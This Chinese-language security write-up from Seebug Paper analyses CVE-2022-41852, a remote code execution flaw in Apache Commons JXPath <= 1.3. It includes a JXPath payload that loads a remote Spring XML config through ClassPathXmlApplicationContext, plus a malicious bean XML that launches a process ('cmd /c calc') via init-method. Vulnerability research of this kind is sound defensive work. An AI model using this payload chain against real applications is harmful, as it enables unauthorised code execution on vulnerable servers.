作者:xxhzz@星闌科技PortalLab
原文鏈接:https://mp.weixin.qq.com/s/L1GyToB0pYaKua8FZi9tiw
項目介紹
Apache Commons JXPath是美國阿帕奇(Apache)基金會的一種 XPath 1.0 的基于 Java 的實現。JXPath 為使用 XPath 語法遍歷 JavaBeans、DOM 和其他類型的對象的圖形提供了 API。
漏洞描述
Apache Commons JXPath 存在安全漏洞,攻擊者可以利用除compile()和compilePath()函數之外的所有處理XPath字符串的JXPathContext類函數通過XPath表達式從類路徑加載任何Java類,從而執行惡意代碼。

利用范圍
Apache Commons JXpath <= 1.3
漏洞分析
環境搭建
使用github上POC進行分析復現https://github.com/Warxim/CVE-2022-41852

漏洞POC使用Spring框架,簡單實現接受用戶輸入并使用它從Person類中檢索指定的數據。
前置知識
在漏洞分析之前,首先了解一下JXPath及用法(參考官網用戶指南:https://commons.apache.org/proper/commons-jxpath/users-guide.html)

JXPath除了能夠像XPatth一樣能夠訪問XML文檔各種元素之外,還能夠讀取和寫入JavaBean的屬性,獲取和設置數組、集合、映射、透明容器、Servlet 中的各種上下文對象等元素。
JXPath 支持開箱即用的標準 XPath 函數。它還支持“標準”擴展函數(基本上是通往 Java 的橋梁),以及完全自定義的擴展函數。

代碼分析
JXPath支持自定義擴展函數,首先看一下PackageFunctions這個類

在org.apache.commons.jxpath.PackageFunctions#getFunction中,存在methodName.equals("new")

這里實例化的xpath表達式設置為了xxx.new(),截取括號前作為方法名,如果調用new方法就被視為實例化,兩個判斷一個是實例化構造函數,另一個是靜態方法。
往下分析,如果是實例化構造函數,在Spring框架中可通過加載遠程配置實現命令執行,這里使用org.springframework.context.support.ClassPathXmlApplicationContext類,構造payload:
org.springframework.context.support.ClassPathXmlApplicationContext.new("http://127.0.0.1:8001/test.xml")
惡意的xml文件使用Spring-bean,設置init-method實現RCE
"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value><![CDATA[calc]]></value>
</list>
</constructor-arg>
</bean>
</beans>
在實例化之后,繼續跟進會來到org.apache.commons.jxpath.ri.compiler.ExtensionFunction#computeValue

在獲得了org.apache.commons.jxpath.Function對應的這個實例后,會調?具體的invoke實現。


最后在調用invoke實現Spring-bean加載,執行惡意代碼。

Spring框架中還可以用org.apache.commons.jxpath.functions.MethodFunction這個類。
除了實例化構造函數,Spring框架加載惡意配置的利用之外。還能利用靜態方法進行RCE,例如jndi、jdbc等,后續筆者也會進行補充和分析。
當然在官方介紹中說明,除了構造函數和使用靜態方法,還介紹了一種調用。

此調用也可以直接利用getValue解析表達式。
漏洞復現
在Spring中利用遠程加載配置來命令執行。
構造test.xml

本地用python開啟http服務,模擬遠程加載。

成功命令執行。

修復建議
目前官方已經停止更新,無修復版本。
參考材料
1.https://github.com/Warxim/CVE-2022-41852
2.https://commons.apache.org/proper/commons-jxpath/users-guide.html
3.https://github.com/advisories/GHSA-wrx5-rp7m-mm49
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1992/
暫無評論